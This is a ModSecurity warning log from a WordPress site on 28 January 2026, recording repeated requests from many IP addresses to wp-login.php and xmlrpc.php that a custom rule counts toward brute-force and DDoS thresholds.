[Wed Jan 28 18:10:18.727614 2026] [:error] [pid 24482:tid 24496] [client 173.252.167.80:55020] [client 173.252.167.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.252.167.80, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXngiqLaUZr_xWekSHOAqQAAAco"]
[Wed Jan 28 18:10:23.335494 2026] [:error] [pid 24482:tid 24493] [client 173.252.167.80:55020] [client 173.252.167.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.252.167.80, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXngj6LaUZr_xWekSHOArQAAAcc"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 18:10:28.411252 2026] [:error] [pid 33490:tid 33545] [client 113.160.224.208:38848] [client 113.160.224.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 113.160.224.208, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnglGjexcy58gsBPJF4fQAAAFU"]
[Wed Jan 28 18:10:29.833027 2026] [:error] [pid 33490:tid 33534] [client 113.160.224.208:38848] [client 113.160.224.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 113.160.224.208, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnglWjexcy58gsBPJF4gQAAAEo"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 18:10:48.790732 2026] [:error] [pid 33580:tid 33592] [client 113.160.224.208:51104] [client 113.160.224.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 113.160.224.208, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXngqJlb0QJtwfka8l4_4AAAAQU"]
[Wed Jan 28 18:10:50.277336 2026] [:error] [pid 33580:tid 33596] [client 113.160.224.208:51104] [client 113.160.224.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 113.160.224.208, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXngqplb0QJtwfka8l4_4QAAAQk"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 18:20:32.604395 2026] [:error] [pid 24482:tid 24486] [client 34.30.170.78:43672] [client 34.30.170.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.30.170.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXni8KLaUZr_xWekSHOCuQAAAcA"]
[Wed Jan 28 18:20:34.607635 2026] [:error] [pid 24482:tid 24510] [client 34.30.170.78:43672] [client 34.30.170.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.30.170.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXni8qLaUZr_xWekSHOCuwAAAdg"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 18:27:20.708967 2026] [:error] [pid 2625:tid 2638] [client 157.7.104.89:48040] [client 157.7.104.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.7.104.89, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnkiFZhY64HvuPd7w1FUwAAAUc"]
[Wed Jan 28 18:27:23.761479 2026] [:error] [pid 2625:tid 2633] [client 157.7.104.89:48040] [client 157.7.104.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.7.104.89, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnki1ZhY64HvuPd7w1FVAAAAUI"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 18:52:41.396504 2026] [:error] [pid 33580:tid 33598] [client 103.193.73.18:48012] [client 103.193.73.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.193.73.18, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnqeZlb0QJtwfka8l5GMQAAAQs"]
[Wed Jan 28 18:52:43.503003 2026] [:error] [pid 33580:tid 33608] [client 103.193.73.18:48012] [client 103.193.73.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.193.73.18, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnqe5lb0QJtwfka8l5GMwAAARU"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 18:55:25.904661 2026] [:error] [pid 24482:tid 24495] [client 34.30.170.78:40256] [client 34.30.170.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.30.170.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnrHaLaUZr_xWekSHOJeAAAAck"]
[Wed Jan 28 18:55:28.893494 2026] [:error] [pid 24482:tid 24493] [client 34.30.170.78:40256] [client 34.30.170.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.30.170.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnrIKLaUZr_xWekSHOJegAAAcc"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 18:56:00.361533 2026] [:error] [pid 24482:tid 24508] [client 46.101.96.32:35910] [client 46.101.96.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.96.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnrQKLaUZr_xWekSHOJkgAAAdY"]
[Wed Jan 28 18:56:02.237831 2026] [:error] [pid 24482:tid 24503] [client 46.101.96.32:35910] [client 46.101.96.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.96.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnrQqLaUZr_xWekSHOJlAAAAdE"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 19:00:58.950276 2026] [:error] [pid 33489:tid 33505] [client 213.32.30.71:47720] [client 213.32.30.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.32.30.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnsahZrVZwQUFWC7_850QAAAAw"]
[Wed Jan 28 19:01:03.488668 2026] [:error] [pid 33489:tid 33501] [client 213.32.30.71:47720] [client 213.32.30.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.32.30.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnsbxZrVZwQUFWC7_851QAAAAg"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 19:01:43.145079 2026] [:error] [pid 24452:tid 24463] [client 51.161.164.56:42834] [client 51.161.164.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.161.164.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXnsl_0RQOh_GmqmVyZTBAAAAYk"]
[Wed Jan 28 19:16:43.990810 2026] [:error] [pid 2625:tid 2643] [client 157.7.104.89:38280] [client 157.7.104.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.7.104.89, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnwG1ZhY64HvuPd7w1O2AAAAUw"]
[Wed Jan 28 19:16:45.329398 2026] [:error] [pid 2625:tid 2639] [client 157.7.104.89:38280] [client 157.7.104.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.7.104.89, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnwHVZhY64HvuPd7w1O2gAAAUg"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 19:24:10.029005 2026] [:error] [pid 33490:tid 33548] [client 161.248.223.31:41192] [client 161.248.223.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.248.223.31, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnx2mjexcy58gsBPJGRyAAAAFg"]
[Wed Jan 28 19:24:11.758316 2026] [:error] [pid 33490:tid 33543] [client 161.248.223.31:41192] [client 161.248.223.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.248.223.31, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnx22jexcy58gsBPJGR0QAAAFM"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 19:24:28.198889 2026] [:error] [pid 24482:tid 24500] [client 152.70.179.80:38456] [client 152.70.179.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.70.179.80, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnx7KLaUZr_xWekSHOP8QAAAc4"]
[Wed Jan 28 19:24:29.589310 2026] [:error] [pid 24482:tid 24510] [client 152.70.179.80:38456] [client 152.70.179.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.70.179.80, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnx7aLaUZr_xWekSHOP9AAAAdg"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 19:31:41.947506 2026] [:error] [pid 2625:tid 2645] [client 103.75.184.15:42324] [client 103.75.184.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.75.184.15, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnznVZhY64HvuPd7w1SZgAAAU4"]
[Wed Jan 28 19:31:44.588011 2026] [:error] [pid 2625:tid 2635] [client 103.75.184.15:42324] [client 103.75.184.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.75.184.15, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnzoFZhY64HvuPd7w1ScgAAAUQ"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 19:31:47.972675 2026] [:error] [pid 2625:tid 2640] [client 192.250.239.84:56734] [client 192.250.239.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.239.84, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnzo1ZhY64HvuPd7w1SdAAAAUk"]
[Wed Jan 28 19:31:49.672294 2026] [:error] [pid 2625:tid 2650] [client 192.250.239.84:56734] [client 192.250.239.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.239.84, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXnzpVZhY64HvuPd7w1SegAAAVM"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 19:52:40.511965 2026] [:error] [pid 33489:tid 33508] [client 220.158.233.180:63102] [client 220.158.233.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 220.158.233.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXn4iBZrVZwQUFWC7_9ELAAAAA8"]
[Wed Jan 28 19:52:45.986508 2026] [:error] [pid 33489:tid 33496] [client 220.158.233.180:63102] [client 220.158.233.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 220.158.233.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXn4jRZrVZwQUFWC7_9ENAAAAAM"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 19:55:01.255630 2026] [:error] [pid 24482:tid 24489] [client 162.250.190.65:40520] [client 162.250.190.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.250.190.65, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXn5FaLaUZr_xWekSHOYSwAAAcM"]
[Wed Jan 28 19:55:03.731255 2026] [:error] [pid 33490:tid 33538] [client 162.250.190.65:57984] [client 162.250.190.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.250.190.65, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXn5F2jexcy58gsBPJGfCQAAAE4"]
[Wed Jan 28 19:55:56.328726 2026] [:error] [pid 33491:tid 33564] [client 52.238.252.162:2183] [client 52.238.252.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.238.252.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXn5TGP9UY0x3irkINAhagAAAM0"]
[Wed Jan 28 19:55:58.542781 2026] [:error] [pid 33490:tid 33539] [client 52.238.252.162:2176] [client 52.238.252.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.238.252.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXn5Tmjexcy58gsBPJGfaAAAAE8"]
[Wed Jan 28 19:59:24.114506 2026] [:error] [pid 42740:tid 42760] [client 192.250.239.84:54774] [client 192.250.239.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.239.84, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXn6HFnjAS34srJlXgSZPAAAAJI"]
[Wed Jan 28 19:59:25.796228 2026] [:error] [pid 42740:tid 42753] [client 192.250.239.84:54774] [client 192.250.239.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.239.84, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXn6HVnjAS34srJlXgSZPgAAAIs"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 20:06:17.628712 2026] [:error] [pid 33489:tid 33504] [client 172.105.33.133:55116] [client 172.105.33.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.105.33.133, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXn7uRZrVZwQUFWC7_9GygAAAAs"]
[Wed Jan 28 20:06:19.387298 2026] [:error] [pid 33489:tid 33514] [client 172.105.33.133:55116] [client 172.105.33.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.105.33.133, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXn7uxZrVZwQUFWC7_9GzAAAABU"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 20:15:42.401462 2026] [:error] [pid 33489:tid 33498] [client 161.248.201.60:55974] [client 161.248.201.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.248.201.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXn97hZrVZwQUFWC7_9IvgAAAAU"]
[Wed Jan 28 20:15:44.567520 2026] [:error] [pid 33489:tid 33517] [client 161.248.201.60:55974] [client 161.248.201.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.248.201.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXn98BZrVZwQUFWC7_9IwgAAABg"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 20:17:40.300723 2026] [:error] [pid 33491:tid 33564] [client 185.65.247.253:34352] [client 185.65.247.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.65.247.253, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXn-ZGP9UY0x3irkINAnogAAAM0"]
[Wed Jan 28 20:17:44.588700 2026] [:error] [pid 33491:tid 33558] [client 185.65.247.253:34352] [client 185.65.247.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.65.247.253, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXn-aGP9UY0x3irkINAnqwAAAMc"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 20:22:23.676538 2026] [:error] [pid 33489:tid 33515] [client 213.32.30.71:27759] [client 213.32.30.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.32.30.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXn_fxZrVZwQUFWC7_9KhAAAABY"]
[Wed Jan 28 20:22:25.587192 2026] [:error] [pid 33489:tid 33513] [client 213.32.30.71:27759] [client 213.32.30.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.32.30.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXn_gRZrVZwQUFWC7_9KhQAAABQ"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 20:23:51.581620 2026] [:error] [pid 24452:tid 24454] [client 213.32.30.71:2516] [client 213.32.30.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.32.30.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXn_1_0RQOh_GmqmVyZsiQAAAYA"]
[Wed Jan 28 20:23:53.255066 2026] [:error] [pid 24452:tid 24472] [client 213.32.30.71:2516] [client 213.32.30.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.32.30.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXn_2f0RQOh_GmqmVyZsiwAAAZI"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 20:28:13.908502 2026] [:error] [pid 33490:tid 33525] [client 216.250.113.228:57616] [client 216.250.113.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.250.113.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoA3Wjexcy58gsBPJGqugAAAEE"]
[Wed Jan 28 20:28:15.567488 2026] [:error] [pid 33490:tid 33535] [client 216.250.113.228:57616] [client 216.250.113.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.250.113.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoA32jexcy58gsBPJGqvAAAAEs"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 20:33:30.725421 2026] [:error] [pid 33491:tid 33562] [client 65.108.1.122:53672] [client 65.108.1.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.1.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoCGmP9UY0x3irkINArdwAAAMs"]
[Wed Jan 28 20:33:34.069649 2026] [:error] [pid 33491:tid 33573] [client 65.108.1.122:53672] [client 65.108.1.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.1.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoCHmP9UY0x3irkINArewAAANY"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 20:33:49.931703 2026] [:error] [pid 42740:tid 42749] [client 65.108.1.122:34846] [client 65.108.1.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.1.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoCLVnjAS34srJlXgSh_QAAAIc"]
[Wed Jan 28 20:33:54.712403 2026] [:error] [pid 42740:tid 42753] [client 65.108.1.122:34846] [client 65.108.1.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.1.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoCMlnjAS34srJlXgSiAgAAAIs"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 20:39:33.392987 2026] [:error] [pid 33490:tid 33544] [client 40.160.60.43:48386] [client 40.160.60.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 40.160.60.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoDhWjexcy58gsBPJGu-AAAAFQ"]
[Wed Jan 28 20:39:35.381608 2026] [:error] [pid 33490:tid 33528] [client 40.160.60.43:48386] [client 40.160.60.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 40.160.60.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoDh2jexcy58gsBPJGu-QAAAEQ"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 20:42:21.499913 2026] [:error] [pid 33490:tid 33530] [client 148.66.155.229:50562] [client 148.66.155.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.66.155.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoELWjexcy58gsBPJGw3AAAAEY"]
[Wed Jan 28 20:42:23.316806 2026] [:error] [pid 33490:tid 33524] [client 148.66.155.229:50562] [client 148.66.155.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.66.155.229, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoEL2jexcy58gsBPJGw4QAAAEA"], referer: https://gigfragments.org/wp-login.php
